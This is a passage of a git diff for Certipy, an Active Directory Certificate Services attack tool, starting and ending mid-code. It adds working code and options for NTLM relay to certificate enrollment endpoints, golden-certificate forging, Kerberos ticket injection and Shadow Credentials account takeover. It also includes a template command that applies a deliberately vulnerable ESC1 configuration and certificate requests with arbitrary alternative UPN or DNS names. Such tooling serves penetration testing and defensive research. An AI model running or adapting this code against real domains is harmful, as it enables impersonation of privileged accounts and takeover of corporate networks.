templates. Does not affect BloodHound output", + ) + group.add_argument( + "-dc-only", + action="store_true", + help="Collects data only from the domain controller. Will not try to retrieve CA security/configuration or check for Web Enrollment", + ) + group.add_argument( + "-vulnerable", + action="store_true", + help="Show only vulnerable certificate templates based on nested group memberships. Does not affect BloodHound output", + ) + group.add_argument( + "-hide-admins", + action="store_true", + help="Don't show administrator permissions for -text, -stdout, and -json. Does not affect BloodHound output", + ) + + group = subparser.add_argument_group("connection options") + group.add_argument( + "-scheme", + action="store", + metavar="ldap scheme", + choices=["ldap", "ldaps"], + default="ldaps", + ) + + target.add_argument_group(subparser, connection_options=group) + + return NAME, entry diff --git a/certipy/commands/parsers/forge.py b/certipy/commands/parsers/forge.py new file mode 100755 index 0000000..9f7fc07 --- /dev/null +++ b/certipy/commands/parsers/forge.py @@ -0,0 +1,63 @@ +NAME = "forge" + +import argparse +from typing import Callable, Tuple + + +def entry(options: argparse.Namespace): + from certipy.commands import forge + + forge.entry(options) + + +def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: + subparser = subparsers.add_parser(NAME, help="Create Golden Certificates") + + subparser.add_argument( + "-ca-pfx", + action="store", + metavar="pfx/p12 file name", + help="Path to CA certificate", + required=True, + ) + subparser.add_argument("-upn", action="store", metavar="alternative UPN") + subparser.add_argument("-dns", action="store", metavar="alternative DNS") + subparser.add_argument( + "-template", + action="store", + metavar="pfx/p12 file name", + help="Path to template certificate", + ) + subparser.add_argument( + "-subject", + action="store", + metavar="subject", + help="Subject to include certificate", + ) + subparser.add_argument( + "-issuer", + action="store", + metavar="issuer", + help="Issuer to include certificate. If not specified, the issuer from the CA cert will be used", + ) + subparser.add_argument( + "-crl", + action="store", + metavar="ldap path", + help="ldap path to a CRL", + ) + subparser.add_argument("-serial", action="store", metavar="serial number") + subparser.add_argument( + "-key-size", + action="store", + metavar="RSA key length", + help="Length of RSA key. Default: 2048", + default=2048, + type=int, + ) + subparser.add_argument("-debug", action="store_true", help="Turn debug output on") + + group = subparser.add_argument_group("output options") + group.add_argument("-out", action="store", metavar="output file name") + + return NAME, entry diff --git a/certipy/commands/parsers/ptt.py b/certipy/commands/parsers/ptt.py new file mode 100755 index 0000000..24e768d --- /dev/null +++ b/certipy/commands/parsers/ptt.py @@ -0,0 +1,30 @@ +NAME = "ptt" + +import argparse +from typing import Callable, Tuple + +from . import target + + +def entry(options: argparse.Namespace): + from certipy.commands import ptt + + ptt.entry(options) + + +def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: + subparser = subparsers.add_parser(NAME, help="Inject TGT for SSPI authentication") + subparser.add_argument("-debug", action="store_true", help="Turn debug output on") + + group = subparser.add_argument_group("ticket options") + group.add_argument("-ticket", action="store", metavar="base64 kirbi/ccache") + group.add_argument( + "-ticket-file", + action="store", + metavar="kirbi/ccache ticket file (optionally base64 encoded)", + ) + group.add_argument("-req", action="store_true", help="Request new TGT") + + target.add_argument_group(subparser, connection_options=None) + + return NAME, entry diff --git a/certipy/commands/parsers/relay.py b/certipy/commands/parsers/relay.py new file mode 100755 index 0000000..ecd3e44 --- /dev/null +++ b/certipy/commands/parsers/relay.py @@ -0,0 +1,93 @@ +NAME = "relay" + +import argparse +from typing import Callable, Tuple + + +def entry(options: argparse.Namespace): + from certipy.commands import relay + + relay.entry(options) + + +def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: + subparser = subparsers.add_parser(NAME, help="NTLM Relay to AD CS HTTP Endpoints") + + subparser.add_argument( + "-ca", + action="store", + metavar="hostname", + required=True, + help="IP address or hostname of certificate authority", + ) + subparser.add_argument("-debug", action="store_true", help="Turn debug output on") + + group = subparser.add_argument_group("certificate request options") + group.add_argument( + "-template", + action="store", + metavar="template name", + help="If omitted, the template 'Machine' or 'User' is chosen by default depending on whether the relayed account name ends with '$'. Relaying a DC should require specifying the 'DomainController' template", + ) + + group.add_argument("-upn", action="store", metavar="alternative UPN") + group.add_argument("-dns", action="store", metavar="alternative DNS") + group.add_argument( + "-retrieve", + action="store", + metavar="request ID", + help="Retrieve an issued certificate specified by a request ID instead of requesting a new certificate", + default=0, + type=int, + ) + group.add_argument( + "-key-size", + action="store", + metavar="RSA key length", + help="Length of RSA key. Default: 2048", + default=2048, + type=int, + ) + + group = subparser.add_argument_group("output options") + group.add_argument("-out", action="store", metavar="output file name") + + group = subparser.add_argument_group("server options") + group.add_argument( + "-interface", + action="store", + metavar="ip address", + help="IP Address of interface to listen on", + default="0.0.0.0", + ) + group.add_argument( + "-port", + action="store", + help="Port to listen on", + default=445, + type=int, + ) + + group = subparser.add_argument_group("relay options") + group.add_argument( + "-forever", + action="store_true", + help="Don't stop the relay server after the first successful relay", + ) + group.add_argument( + "-no-skip", + action="store_true", + help="Don't skip previously attacked users. Use with -forever", + ) + + group = subparser.add_argument_group("connection options") + group.add_argument( + "-timeout", + action="store", + metavar="seconds", + help="Timeout for connections", + default=5, + type=int, + ) + + return NAME, entry diff --git a/certipy/commands/parsers/req.py b/certipy/commands/parsers/req.py new file mode 100755 index 0000000..8e8f5a5 --- /dev/null +++ b/certipy/commands/parsers/req.py @@ -0,0 +1,108 @@ +NAME = "req" + +import argparse +from typing import Callable, Tuple + +from . import target + + +def entry(options: argparse.Namespace): + from certipy.commands import req + + req.entry(options) + + +def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: + subparser = subparsers.add_parser(NAME, help="Request certificates") + subparser.add_argument("-debug", action="store_true", help="Turn debug output on") + + subparser.add_argument( + "-ca", action="store", metavar="certificate authority name", required=True + ) + + group = subparser.add_argument_group("certificate request options") + group.add_argument( + "-template", action="store", metavar="template name", default="User" + ) + group.add_argument("-upn", action="store", metavar="alternative UPN") + group.add_argument("-dns", action="store", metavar="alternative DNS") + group.add_argument( + "-subject", + action="store", + metavar="subject", + help="Subject to include certificate, e.g. CN=Administrator,CN=Users,DC=CORP,DC=LOCAL", + ) + group.add_argument( + "-retrieve", + action="store", + metavar="request ID", + help="Retrieve an issued certificate specified by a request ID instead of requesting a new certificate", + default=0, + type=int, + ) + group.add_argument( + "-on-behalf-of", + action="store", + metavar="domain\\account", + help="Use a Certificate Request Agent certificate to request on behalf of another user", + ) + group.add_argument( + "-pfx", + action="store", + metavar="pfx/p12 file name", + help="Path to PFX for -on-behalf-of or -renew", + ) + group.add_argument( + "-key-size", + action="store", + metavar="RSA key length", + help="Length of RSA key. Default: 2048", + default=2048, + type=int, + ) + group.add_argument( + "-archive-key", + action="store_true", + help="Send private key for Key Archival", + ) + group.add_argument( + "-renew", + action="store_true", + help="Create renewal request", + ) + + group = subparser.add_argument_group("output options") + group.add_argument("-out", action="store", metavar="output file name") + + connection_group = subparser.add_argument_group("connection options") + connection_group.add_argument( + "-web", + action="store_true", + help="Use Web Enrollment instead of RPC", + ) + + group = subparser.add_argument_group("rpc connection options") + group.add_argument( + "-dynamic-endpoint", + action="store_true", + help="Prefer dynamic TCP endpoint over named pipe", + ) + + group = subparser.add_argument_group("http connection options") + group.add_argument( + "-scheme", + action="store", + metavar="http scheme", + choices=["http", "https"], + default="http", + ) + group.add_argument( + "-port", + action="store", + help="Web Enrollment port. If omitted, port 80 or 443 will be chosen by default depending on the scheme.", + type=int, + ) + + target.add_argument_group(subparser, connection_options=connection_group) + + return NAME, entry diff --git a/certipy/commands/parsers/shadow.py b/certipy/commands/parsers/shadow.py new file mode 100755 index 0000000..b816eb8 --- /dev/null +++ b/certipy/commands/parsers/shadow.py @@ -0,0 +1,53 @@ +NAME = "shadow" + +import argparse +from typing import Callable, Tuple + +from . import target + + +def entry(options: argparse.Namespace): + from certipy.commands import shadow + + shadow.entry(options) + + +def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: + subparser = subparsers.add_parser( + NAME, help="Abuse Shadow Credentials for account takeover" + ) + + subparser.add_argument( + "shadow_action", + choices=["list", "add", "remove", "clear", "info", "auto"], + help="Key Credentials action", + ) + subparser.add_argument( + "-account", + action="store", + metavar="target account", + help="Account to target. If omitted, the user " + "specified in the target will be used", + ) + subparser.add_argument( + "-device-id", + action="store", + help="Device ID of the Key Credential Link", + ) + subparser.add_argument("-debug", action="store_true", help="Turn debug output on") + + group = subparser.add_argument_group("output options") + group.add_argument("-out", action="store", metavar="output file name") + + group = subparser.add_argument_group("connection options") + group.add_argument( + "-scheme", + action="store", + metavar="ldap scheme", + choices=["ldap", "ldaps"], + default="ldaps", + ) + + target.add_argument_group(subparser, connection_options=group) + + return NAME, entry diff --git a/certipy/commands/parsers/target.py b/certipy/commands/parsers/target.py new file mode 100755 index 0000000..55e662e --- /dev/null +++ b/certipy/commands/parsers/target.py @@ -0,0 +1,99 @@ +import argparse +from typing import Any + + +def add_argument_group( + parser: argparse.ArgumentParser, + connection_options: Any = None, +) -> None: + if connection_options is not None: + group = connection_options + else: + group = parser.add_argument_group("connection options") + + group.add_argument( + "-dc-ip", + action="store", + metavar="ip address", + help="IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in " + "the target parameter", + ) + group.add_argument( + "-target-ip", + action="store", + metavar="ip address", + help="IP Address of the target machine. If omitted it will use whatever was specified as target. " + "This is useful when target is the NetBIOS name and you cannot resolve it", + ) + group.add_argument( + "-target", + action="store", + metavar="dns/ip address", + help="DNS Name or IP Address of the target machine. Required for Kerberos or SSPI authentication", + ) + group.add_argument( + "-ns", + action="store", + metavar="nameserver", + help="Nameserver for DNS resolution", + ) + group.add_argument( + "-dns-tcp", action="store_true", help="Use TCP instead of UDP for DNS queries" + ) + group.add_argument( + "-timeout", + action="store", + metavar="seconds", + help="Timeout for connections", + default=5, + type=int, + ) + + group = parser.add_argument_group("authentication options") + group.add_argument( + "-u", + "-username", + metavar="username@domain", + dest="username", + action="store", + help="Username. Format: username@domain", + ) + group.add_argument( + "-p", + "-password", + metavar="password", + dest="password", + action="store", + help="Password", + ) + group.add_argument( + "-hashes", + action="store", + metavar="[LMHASH:]NTHASH", + help="NTLM hash, format is [LMHASH:]NTHASH", + ) + group.add_argument( + "-k", + action="store_true", + dest="do_kerberos", + help="Use Kerberos authentication. Grabs credentials from ccache file " + "(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the " + "ones specified in the command line", + ) + group.add_argument( + "-sspi", + dest="use_sspi", + action="store_true", + help="Use Windows Integrated Authentication (SSPI)", + ) + group.add_argument( + "-aes", + action="store", + metavar="hex key", + help="AES key to use for Kerberos Authentication " "(128 or 256 bits)", + ) + group.add_argument( + "-no-pass", + action="store_true", + help="Don't ask for password (useful for -k and -sspi)", + ) diff --git a/certipy/commands/parsers/template.py b/certipy/commands/parsers/template.py new file mode 100755 index 0000000..d48441d --- /dev/null +++ b/certipy/commands/parsers/template.py @@ -0,0 +1,47 @@ +NAME = "template" + +import argparse +from typing import Callable, Tuple + +from . import target + + +def entry(options: argparse.Namespace): + from certipy.commands import template + + template.entry(options) + + +def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: + subparser = subparsers.add_parser(NAME, help="Manage certificate templates") + + subparser.add_argument( + "-template", action="store", metavar="template name", required=True + ) + subparser.add_argument("-debug", action="store_true", help="Turn debug output on") + + group = subparser.add_argument_group("configuration options") + group.add_argument( + "-configuration", + action="store", + metavar="configuration file", + help="Configuration to apply to the certificate template. If omitted, a default vulnerable configuration (ESC1) will be applied. Useful for restoring an old configuration", + ) + group.add_argument( + "-save-old", + action="store_true", + help="Save the old configuration", + ) + + group = subparser.add_argument_group("connection options") + group.add_argument( + "-scheme", + action="store", + metavar="ldap scheme", + choices=["ldap", "ldaps"], + default="ldaps", + ) + + target.add_argument_group(subparser, connection_options=group) + + return NAME, entry diff --git a/certipy/commands/ptt.py b/certipy/commands/ptt.py new file mode 100755 index 0000000..979ebd2 --- /dev/null +++ b/certipy/commands/ptt.py @@ -0,0 +1,110 @@ +NAME = "ptt" + +import argparse +import base64 +import platform + +from impacket.krb5 import constants +from impacket.krb5.ccache import CCache +from impacket.krb5.kerberosv5 import getKerberosTGT +from impacket.krb5.types import Principal + +from certipy.lib.logger import logging +from certipy.lib.target import Target + + +def load_ticket(ticket: bytes, decode: bool = False) -> CCache: + if decode: + try: + logging.debug("Trying to base64-decode ticket") + if type(ticket) == bytes: + ticket = ticket.decode() + ticket = base64.b64decode(ticket) + except: + return None + + try: + logging.debug("Trying to load ticket as CCache") + ccache = CCache(ticket) + logging.debug("Loaded ticket as CCache") + except: + logging.debug("Failed to load ticket as CCache") + logging.debug("Trying to load ticket as Kirbi") + ccache = CCache() + + try: + ccache.fromKRBCRED(ticket) + logging.debug("Loaded ticket as Kirbi") + except: + return None + + return ccache + + +def entry(options: argparse.Namespace): + + if options.ticket and options.ticket_file: + logging.warning("Both -ticket and -ticket-file specified. Using -ticket") + + ticket = None + if options.ticket: + ticket = options.ticket + elif options.ticket_file: + with open(options.ticket_file, "rb") as f: + ticket = f.read() + + if not ticket and not options.req: + logging.error("Not ticket specified and -req was not specified") + return + + ccache = None + if ticket: + ccache = load_ticket(ticket, True) + if ccache is None: + ccache = load_ticket(ticket) + if ccache is None: + logging.error("Failed to load ticket") + return None + elif options.req: + target = Target.from_options(options, ptt=True) + + username = Principal( + target.username, type=constants.PrincipalNameType.NT_PRINCIPAL.value + ) + tgt, _, oldSessionKey, _ = getKerberosTGT( + username, + target.password, + target.domain, + bytes.fromhex(target.lmhash), + bytes.fromhex(target.nthash), + target.aes, + target.dc_ip, + ) + + ccache = CCache() + ccache.fromTGT(tgt, oldSessionKey, oldSessionKey) + + if not ccache: + logging.error("Failed to get ticket") + return + + logging.info("Got ticket") + if options.debug: + logging.debug("Ticket:") + ccache.credentials[0].prettyPrint() + + krb_cred = ccache.toKRBCRED() + logging.info("Trying to inject ticket into session") + + if platform.system().lower() != "windows": + logging.error("Not running on Windows platform. Aborting") + return + + try: + from certipy.lib import sspi + + res = sspi.submit_ticket(krb_cred) + if res: + logging.info("Successfully injected ticket into session") + except Exception as e: + logging.error("Failed to inject ticket into session: %s" % str(e)) diff --git a/certipy/relay.py b/certipy/commands/relay.py old mode 100644 new mode 100755 similarity index 80% rename from certipy/relay.py rename to certipy/commands/relay.py index eecf010..1ded291 --- a/certipy/relay.py +++ b/certipy/commands/relay.py @@ -1,6 +1,5 @@ import argparse import base64 -import logging import os import re import time @@ -8,7 +7,6 @@ import urllib.parse from struct import unpack from threading import Lock -from typing import Callable, Tuple from impacket.examples.ntlmrelayx.attacks import ProtocolAttack from impacket.examples.ntlmrelayx.clients.httprelayclient import HTTPRelayClient @@ -19,12 +17,13 @@ from impacket.ntlm import NTLMAuthChallengeResponse from impacket.spnego import SPNEGO_NegTokenResp -from certipy.auth import cert_id_to_parts -from certipy.certificate import ( +from certipy.lib.certificate import ( + cert_id_to_parts, cert_to_pem, + create_csr, create_pfx, csr_to_pem, - get_id_from_certificate, + get_identifications_from_certificate, get_object_sid_from_certificate, key_to_pem, pem_to_cert, @@ -32,16 +31,15 @@ rsa, x509, ) -from certipy.errors import translate_error_code -from certipy.request import create_csr +from certipy.lib.errors import translate_error_code +from certipy.lib.formatting import print_certificate_identifications +from certipy.lib.logger import logging try: from http.client import HTTPConnection except ImportError: from httplib import HTTPConnection -NAME = "relay" - class ADCSRelayServer(HTTPRelayClient): def initConnection(self): @@ -189,15 +187,25 @@ def _run(self): if template is None: template = "Machine" if self.username.endswith("$") else "User" - alt_name = self.adcs_relay.alt_name - csr, key = create_csr(self.username, alt_name=alt_name) + csr, key = create_csr( + self.username, + alt_dns=self.adcs_relay.dns, + alt_upn=self.adcs_relay.upn, + key_size=self.adcs_relay.key_size, + ) csr = csr_to_pem(csr).decode() attributes = ["CertificateTemplate:%s" % template] - if alt_name is not None: - attributes.append("SAN:upn=%s" % alt_name) + if self.adcs_relay.upn is not None or self.adcs_relay.dns is not None: + san = [] + if self.adcs_relay.dns: + san.append("dns=%s" % self.adcs_relay.dns) + if self.adcs_relay.upn: + san.append("upn=%s" % self.adcs_relay.upn) + + attributes.append("SAN:%s" % "&".join(san)) attributes = "\n".join(attributes) @@ -293,9 +301,9 @@ def _run(self): response = self.client.getresponse() content = response.read() - certificate = pem_to_cert(content) + cert = pem_to_cert(content) - return self.save_certificate(certificate, key=key, request_id=request_id) + return self.save_certificate(cert, key=key, request_id=request_id) def finish_run(self): self.adcs_relay.attacked_targets.append(self.client.user) @@ -308,21 +316,19 @@ def save_certificate( key: rsa.RSAPrivateKey = None, request_id: int = None, ): - id_type, identification = get_id_from_certificate(cert) - if id_type is not None: - logging.info("Got certificate with %s %s" % (id_type, repr(identification))) - else: - logging.info("Got certificate without identification") + identifications = get_identifications_from_certificate(cert) + + print_certificate_identifications(identifications) object_sid = get_object_sid_from_certificate(cert) - if id_type is not None: + if object_sid is not None: logging.info("Certificate object SID is %s" % repr(object_sid)) else: - logging.info("Certificate has not object SID") + logging.info("Certificate has no object SID") out = self.adcs_relay.out if out is None: - out, _ = cert_id_to_parts(id_type, identification) + out, _ = cert_id_to_parts(identifications) if out is None: out = str(request_id) @@ -366,8 +372,10 @@ def __init__( self, ca, template=None, - alt=None, + upn=None, + dns=None, retrieve=None, + key_size: int = 2048, out=None, interface="0.0.0.0", port=445, @@ -379,8 +387,10 @@ def __init__( ): self.ca = ca self.template = template - self.alt_name = alt + self.upn = upn + self.dns = dns self.request_id = int(retrieve) + self.key_size = key_size self.out = out self.forever = forever self.no_skip = no_skip @@ -449,77 +459,3 @@ def shutdown(self): def entry(options: argparse.Namespace) -> None: relay = Relay(**vars(options)) relay.start() - - -def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: - subparser = subparsers.add_parser(NAME, help="NTLM Relay to AD CS HTTP Endpoints") - - subparser.add_argument( - "-ca", - action="store", - metavar="hostname", - required=True, - help="IP address or hostname of certificate authority", - ) - subparser.add_argument("-debug", action="store_true", help="Turn debug output on") - - group = subparser.add_argument_group("certificate request options") - group.add_argument( - "-template", - action="store", - metavar="template name", - help="If omitted, the template 'Machine' or 'User' is chosen by default depending on whether the relayed account name ends with '$'. Relaying a DC should require specifying the 'DomainController' template", - ) - - group.add_argument("-alt", action="store", metavar="alternative UPN") - group.add_argument( - "-retrieve", - action="store", - metavar="request ID", - help="Retrieve an issued certificate specified by a request ID instead of requesting a new certificate", - default=0, - type=int, - ) - - group = subparser.add_argument_group("output options") - group.add_argument("-out", action="store", metavar="output file name") - - group = subparser.add_argument_group("server options") - group.add_argument( - "-interface", - action="store", - metavar="ip address", - help="IP Address of interface to listen on", - default="0.0.0.0", - ) - group.add_argument( - "-port", - action="store", - help="Port to listen on", - default=445, - type=int, - ) - - group = subparser.add_argument_group("relay options") - group.add_argument( - "-forever", - action="store_true", - help="Don't stop the relay server after the first successful relay", - ) - group.add_argument( - "-no-skip", - action="store_true", - help="Don't skip previously attacked users. Use with -forever", - ) - - group = subparser.add_argument_group("connection options") - group.add_argument( - "-timeout", - action="store", - metavar="seconds", - help="Timeout for connections", - default=5, - type=int, - ) - - return NAME, entry diff --git a/certipy/commands/req.py b/certipy/commands/req.py new file mode 100755 index 0000000..80610e0 --- /dev/null +++ b/certipy/commands/req.py @@ -0,0 +1,764 @@ +import argparse +import re +from typing import List + +import requests +from impacket.dcerpc.v5 import rpcrt +from impacket.dcerpc.v5.dtypes import DWORD, LPWSTR, NULL, PBYTE, ULONG +from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT +from impacket.dcerpc.v5.nrpc import checkNullString +from impacket.uuid import uuidtup_to_bin +from requests_ntlm import HttpNtlmAuth +from urllib3 import connection + +from certipy.lib.certificate import ( + cert_id_to_parts, + cert_to_pem, + create_csr, + create_key_archival, + create_on_behalf_of, + create_pfx, + create_renewal, + csr_to_der, + der_to_cert, + der_to_csr, + der_to_pem, + get_identifications_from_certificate, + get_object_sid_from_certificate, + key_to_pem, + load_pfx, + pem_to_cert, + pem_to_key, + rsa, + x509, +) +from certipy.lib.errors import translate_error_code +from certipy.lib.formatting import print_certificate_identifications +from certipy.lib.logger import logging +from certipy.lib.rpc import get_dce_rpc +from certipy.lib.target import Target + +from .ca import CA + + +def _http_request(self, method, url, body=None, headers=None): + if headers is None: + headers = {} + else: + # Avoid modifying the headers passed into .request() + headers = headers.copy() + super(connection.HTTPConnection, self).request( + method, url, body=body, headers=headers + ) + + +connection.HTTPConnection.request = _http_request + +MSRPC_UUID_ICPR = uuidtup_to_bin(("91ae6020-9e3c-11cf-8d7c-00aa00c091be", "0.0")) + + +class DCERPCSessionError(rpcrt.DCERPCException): + def __init__(self, error_string=None, error_code=None, packet=None): + rpcrt.DCERPCException.__init__(self, error_string, error_code, packet) + + def __str__(self) -> str: + self.error_code &= 0xFFFFFFFF + error_msg = translate_error_code(self.error_code) + return "RequestSessionError: %s" % error_msg + + +# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wcce/d6bee093-d862-4122-8f2b-7b49102097dc +class CERTTRANSBLOB(NDRSTRUCT): + structure = ( + ("cb", ULONG), + ("pb", PBYTE), + ) + + +# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-icpr/0c6f150e-3ead-4006-b37f-ebbf9e2cf2e7 +class CertServerRequest(NDRCALL): + opnum = 0 + structure = ( + ("dwFlags", DWORD), + ("pwszAuthority", LPWSTR), + ("pdwRequestId", DWORD), + ("pctbAttribs", CERTTRANSBLOB), + ("pctbRequest", CERTTRANSBLOB), + ) + + +# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-icpr/0c6f150e-3ead-4006-b37f-ebbf9e2cf2e7 +class CertServerRequestResponse(NDRCALL): + structure = ( + ("pdwRequestId", DWORD), + ("pdwDisposition", ULONG), + ("pctbCert", CERTTRANSBLOB), + ("pctbEncodedCert", CERTTRANSBLOB), + ("pctbDispositionMessage", CERTTRANSBLOB), + ) + + +class RequestInterface: + def __init__(self, parent: "Request"): + self.parent = parent + + def retrieve(self, request_id: int) -> x509.Certificate: + raise NotImplementedError("Abstract method") + + def request( + self, + csr: bytes, + attributes: List[str], + ) -> x509.Certificate: + raise NotImplementedError("Abstract method") + + +class RPCRequestInterface(RequestInterface): + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + + self._dce = None + + @property + def dce(self) -> rpcrt.DCERPC_v5: + if self._dce is not None: + return self._dce + + self._dce = get_dce_rpc( + MSRPC_UUID_ICPR, + r"\pipe\cert", + self.parent.target, + timeout=self.parent.target.timeout, + dynamic=self.parent.dynamic, + verbose=self.parent.verbose, + ) + + return self._dce + + def retrieve(self, request_id: int) -> x509.Certificate: + + empty = CERTTRANSBLOB() + empty["cb"] = 0 + empty["pb"] = NULL + + request = CertServerRequest() + request["dwFlags"] = 0 + request["pwszAuthority"] = checkNullString(self.parent.ca) + request["pdwRequestId"] = request_id + request["pctbAttribs"] = empty + request["pctbRequest"] = empty + + logging.info("Rerieving certificate with ID %d" % request_id) + + response = self.dce.request(request, checkError=False) + + error_code = response["pdwDisposition"] + + if error_code == 3: + logging.info("Successfully retrieved certificate") + else: + if error_code == 5: + logging.warning("Certificate request is still pending approval") + else: + error_msg = translate_error_code(error_code) + if "unknown error code" in error_msg: + logging.error( + "Got unknown error while trying to retrieve certificate: (%s): %s" + % ( + error_msg, + b"".join(response["pctbDispositionMessage"]["pb"]).decode( + "utf-16le" + ), + ) + ) + else: + logging.error( + "Got error while trying to retrieve certificate: %s" % error_msg + ) + + return False + + cert = der_to_cert(b"".join(response["pctbEncodedCert"]["pb"])) + + return cert + + def request( + self, + csr: bytes, + attributes: List[str], + ) -> x509.Certificate: + attributes = checkNullString("\n".join(attributes)).encode("utf-16le") + pctb_attribs = CERTTRANSBLOB() + pctb_attribs["cb"] = len(attributes) + pctb_attribs["pb"] = attributes + + pctb_request = CERTTRANSBLOB() + pctb_request["cb"] = len(csr) + pctb_request["pb"] = csr + + request = CertServerRequest() + request["dwFlags"] = 0 + request["pwszAuthority"] = checkNullString(self.parent.ca) + request["pdwRequestId"] = self.parent.request_id + request["pctbAttribs"] = pctb_attribs + request["pctbRequest"] = pctb_request + + logging.info("Requesting certificate via RPC") + + response = self.dce.request(request) + + error_code = response["pdwDisposition"] + request_id = response["pdwRequestId"] + + if error_code == 3: + logging.info("Successfully requested certificate") + else: + if error_code == 5: + logging.warning("Certificate request is pending approval") + else: + error_msg = translate_error_code(error_code) + if "unknown error code" in error_msg: + logging.error( + "Got unknown error while trying to request certificate: (%s): %s" + % ( + error_msg, + b"".join(response["pctbDispositionMessage"]["pb"]).decode( + "utf-16le" + ), + ) + ) + else: + logging.error( + "Got error while trying to request certificate: %s" % error_msg + ) + + logging.info("Request ID is %d" % request_id) + + if error_code != 3: + should_save = input( + "Would you like to save the private key? (y/N) " + ).rstrip("\n") + + if should_save.lower() == "y": + out = ( + self.parent.out if self.parent.out is not None else str(request_id) + ) + with open("%s.key" % out, "wb") as f: + f.write(key_to_pem(self.parent.key)) + + logging.info("Saved private key to %s.key" % out) + + return False + + cert = der_to_cert(b"".join(response["pctbEncodedCert"]["pb"])) + + return cert + + +class WebRequestInterface(RequestInterface): + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + + self.target = self.parent.target + + self._session = None + self.base_url = "" + + @property + def session(self) -> requests.Session: + if self._session is not None: + return self._session + + if self.target.do_kerberos: + raise Exception( + "Kerberos authentication is currently not supported with Web Enrollment" + ) + + scheme = self.parent.scheme + port = self.parent.port + + password = self.target.password + if self.target.nthash: + password = "%s:%s" % (self.target.nthash, self.target.nthash) + + principal = "%s\\%s" % (self.target.domain, self.target.username) + + session = requests.Session() + session.timeout = self.target.timeout + session.auth = HttpNtlmAuth(principal, password) + session.verify = False + + base_url = "%s://%s:%i" % (scheme, self.target.target_ip, port) + logging.info("Checking for Web Enrollment on %s" % repr(base_url)) + + session.headers["User-Agent"] = None + + success = False + try: + res = session.get( + "%s/certsrv/" % base_url, + headers={"Host": self.target.remote_name}, + timeout=self.target.timeout, + allow_redirects=False, + ) + except Exception as e: + logging.warning("Failed to connect to Web Enrollment interface: %s" % e) + else: + if res.status_code == 200: + success = True + elif res.status_code == 401: + logging.error("Unauthorized for Web Enrollment at %s" % repr(base_url)) + return None + else: + logging.warning( + "Failed to authenticate to Web Enrollment at %s" % repr(base_url) + ) + + if not success: + scheme = "https" if scheme == "http" else "http" + port = 80 if scheme == "http" else 443 + base_url = "%s://%s:%i" % (scheme, self.target.target_ip, port) + logging.info( + "Trying to connect to Web Enrollment interface %s" % repr(base_url) + ) + + try: + res = session.get( + "%s/certsrv/" % base_url, + headers={"Host": self.target.remote_name}, + timeout=self.target.timeout, + allow_redirects=False, + ) + except Exception as e: + logging.warning("Failed to connect to Web Enrollment interface: %s" % e) + return None + else: + if res.status_code == 200: + success = True + elif res.status_code == 401: + logging.error( + "Unauthorized for Web Enrollment at %s" % repr(base_url) + ) + else: + logging.warning( + "Failed to authenticate to Web Enrollment at %s" + % repr(base_url) + ) + + if not success: + return None + + self.base_url = base_url + self._session = session + return self._session + + def retrieve(self, request_id: int) -> x509.Certificate: + logging.info("Retrieving certificate for request ID: %d" % request_id) + res = self.session.get( + "%s/certsrv/certnew.cer" % self.base_url, params={"ReqID": request_id} + ) + + if res.status_code != 200: + if self.parent.verbose: + logging.error("Got error while trying to retrieve certificate:") + print(res.text) + else: + logging.error( + "Got error while trying to retrieve certificate. Use -debug to print the response" + ) + return False + + if b"BEGIN CERTIFICATE" in res.content: + cert = pem_to_cert(res.content) + else: + content = res.text + if "Taken Under Submission" in content: + logging.warning("Certificate request is pending approval") + elif "The requested property value is empty" in content: + logging.warning("Unknown request ID %d" % request_id) + else: + error_code = re.findall(r" (0x[0-9a-fA-F]+) \(", content) + try: + error_code = int(error_code[0], 16) + msg = translate_error_code(error_code) + logging.warning("Got error from AD CS: %s" % msg) + except: + if self.parent.verbose: + logging.warning("Got unknown error from AD CS:") + print(content) + else: + logging.warning( + "Got unknown error from AD CS. Use -debug to print the response" + ) + + return False + + return cert + + def request( + self, + csr: bytes, + attributes: List[str], + ) -> x509.Certificate: + session = self.session + if not session: + return False + + csr = der_to_pem(csr, "CERTIFICATE REQUEST") + + attributes = "\n".join(attributes) + + params = { + "Mode": "newreq", + "CertAttrib": attributes, + "CertRequest": csr, + "TargetStoreFlags": "0", + "SaveCert": "yes", + "ThumbPrint": "", + } + + logging.info("Requesting certificate via Web Enrollment") + + res = session.post("%s/certsrv/certfnsh.asp" % self.base_url, data=params) + content = res.text + + if res.status_code != 200: + logging.error("Got error while trying to request certificate: ") + if self.parent.verbose: + print(content) + else: + logging.warning("Use -debug to print the response") + return False + + request_id = re.findall(r"certnew.cer\?ReqID=([0-9]+)&", content) + if not request_id: + if "template that is not supported" in content: + logging.error( + "Template %s is not supported by AD CS" % repr(self.parent.template) + ) + return False + else: + request_id = re.findall(r"Your Request Id is ([0-9]+)", content) + if len(request_id) != 1: + logging.error("Failed to get request id from response") + request_id = None + else: + request_id = int(request_id[0]) + + logging.info("Request ID is %d" % request_id) + + if "Certificate Pending" in content: + logging.warning("Certificate request is pending approval") + elif '"Denied by Policy Module"' in content: + res = self.session.get( + "%s/certsrv/certnew.cer" % self.base_url, + params={"ReqID": request_id}, + ) + try: + error_codes = re.findall( + "(0x[a-zA-Z0-9]+) \([-]?[0-9]+ ", + res.text, + flags=re.MULTILINE, + ) + + error_msg = translate_error_code(int(error_codes[0], 16)) + logging.error( + "Got error while trying to request certificate: %s" + % error_msg + ) + except: + logging.warning("Got unknown error from AD CS:") + if self.parent.verbose: + print(res.text) + else: + logging.warning("Use -debug to print the response") + else: + error_code = re.findall( + r"Denied by Policy Module (0x[0-9a-fA-F]+),", content + ) + try: + error_code = int(error_code[0], 16) + msg = translate_error_code(error_code) + logging.warning("Got error from AD CS: %s" % msg) + except: 